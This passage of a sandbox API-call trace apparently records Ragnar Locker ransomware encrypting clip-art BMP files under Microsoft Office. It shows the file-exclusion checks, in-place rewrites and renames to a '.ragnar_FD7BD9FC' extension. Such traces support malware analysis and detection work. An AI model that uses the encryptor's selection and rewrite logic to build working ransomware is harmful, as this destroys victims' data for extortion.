lpString2=".msi") returned -1 [0090.280] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.280] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.280] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp")) returned 0x20 [0090.281] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.281] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=108216) returned 1 [0090.281] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a6af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.282] GetProcessHeap () returned 0x580000 [0090.282] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.282] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.283] VirtualAlloc (lpAddress=0x0, dwSize=0x1a6b8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.283] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.283] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.283] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a6b8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a6b8, lpOverlapped=0x0) returned 1 [0090.286] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.287] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a6b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.287] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a6b8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a6b8, lpOverlapped=0x0) returned 1 [0090.287] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a6b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.287] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.288] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a6b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.288] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.288] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.288] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.288] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.288] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.288] GetProcessHeap () returned 0x580000 [0090.288] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.288] CloseHandle (hObject=0xf4) returned 1 [0090.288] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" [0090.288] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.ragnar_FD7BD9FC" [0090.289] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.289] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe48deb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe48deb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02754U.BMP", cAlternateFileName="")) returned 1 [0090.289] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.289] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02754U.BMP" | out: lpString1="PH02754U.BMP") returned="PH02754U.BMP" [0090.289] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP") returned=".BMP" [0090.289] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.290] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="autorun.inf") returned 1 [0090.290] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="boot.ini") returned 1 [0090.290] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="bootfont.bin") returned 1 [0090.290] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="bootsect.bak") returned 1 [0090.290] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="bootmgr") returned 1 [0090.290] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="bootmgr.efi") returned 1 [0090.290] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.290] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="desktop.ini") returned 1 [0090.290] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="iconcache.db") returned 1 [0090.290] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="ntldr") returned 1 [0090.290] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="ntuser.dat") returned 1 [0090.290] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.290] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="ntuser.ini") returned 1 [0090.290] lstrcmpiW (lpString1="PH02754U.BMP", lpString2="thumbs.db") returned -1 [0090.290] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.290] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.290] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.290] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.290] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.290] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.290] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp")) returned 0x20 [0090.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.291] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=108504) returned 1 [0090.291] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a7cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.291] GetProcessHeap () returned 0x580000 [0090.291] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.291] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.292] VirtualAlloc (lpAddress=0x0, dwSize=0x1a7d8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.292] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.292] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.292] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a7d8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a7d8, lpOverlapped=0x0) returned 1 [0090.295] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.296] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a7d8, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.296] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a7d8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a7d8, lpOverlapped=0x0) returned 1 [0090.296] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a7d8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.296] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.297] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a7d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.297] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.297] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.297] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.297] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.297] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.297] GetProcessHeap () returned 0x580000 [0090.297] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.297] CloseHandle (hObject=0xf4) returned 1 [0090.297] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" [0090.297] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.ragnar_FD7BD9FC" [0090.297] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.298] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd50ea200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd50ea200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02755U.BMP", cAlternateFileName="")) returned 1 [0090.298] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.298] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02755U.BMP" | out: lpString1="PH02755U.BMP") returned="PH02755U.BMP" [0090.298] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP") returned=".BMP" [0090.298] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.298] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="autorun.inf") returned 1 [0090.298] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="boot.ini") returned 1 [0090.298] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="bootfont.bin") returned 1 [0090.298] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="bootsect.bak") returned 1 [0090.298] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="bootmgr") returned 1 [0090.298] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="bootmgr.efi") returned 1 [0090.298] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.298] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="desktop.ini") returned 1 [0090.298] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="iconcache.db") returned 1 [0090.299] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="ntldr") returned 1 [0090.299] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="ntuser.dat") returned 1 [0090.299] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.299] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="ntuser.ini") returned 1 [0090.299] lstrcmpiW (lpString1="PH02755U.BMP", lpString2="thumbs.db") returned -1 [0090.299] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.299] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.299] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.299] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.299] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.299] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.299] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.299] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp")) returned 0x20 [0090.299] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.299] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=108504) returned 1 [0090.299] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a7cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.299] GetProcessHeap () returned 0x580000 [0090.300] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.300] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.301] VirtualAlloc (lpAddress=0x0, dwSize=0x1a7d8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.301] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.301] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.301] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a7d8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a7d8, lpOverlapped=0x0) returned 1 [0090.304] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.305] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a7d8, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.305] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a7d8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a7d8, lpOverlapped=0x0) returned 1 [0090.305] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a7d8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.305] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.306] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a7d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.306] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.306] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.306] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.306] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.306] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.306] GetProcessHeap () returned 0x580000 [0090.306] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.306] CloseHandle (hObject=0xf4) returned 1 [0090.306] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" [0090.306] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.ragnar_FD7BD9FC" [0090.306] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.307] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb853a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb853a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02756U.BMP", cAlternateFileName="")) returned 1 [0090.307] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.307] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02756U.BMP" | out: lpString1="PH02756U.BMP") returned="PH02756U.BMP" [0090.307] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP") returned=".BMP" [0090.307] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.307] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="autorun.inf") returned 1 [0090.307] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="boot.ini") returned 1 [0090.307] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="bootfont.bin") returned 1 [0090.307] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="bootsect.bak") returned 1 [0090.307] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="bootmgr") returned 1 [0090.307] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="bootmgr.efi") returned 1 [0090.307] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.307] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="desktop.ini") returned 1 [0090.307] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="iconcache.db") returned 1 [0090.307] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="ntldr") returned 1 [0090.307] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="ntuser.dat") returned 1 [0090.307] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.307] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="ntuser.ini") returned 1 [0090.307] lstrcmpiW (lpString1="PH02756U.BMP", lpString2="thumbs.db") returned -1 [0090.308] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.308] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.308] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.308] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.308] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.308] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.308] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp")) returned 0x20 [0090.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, 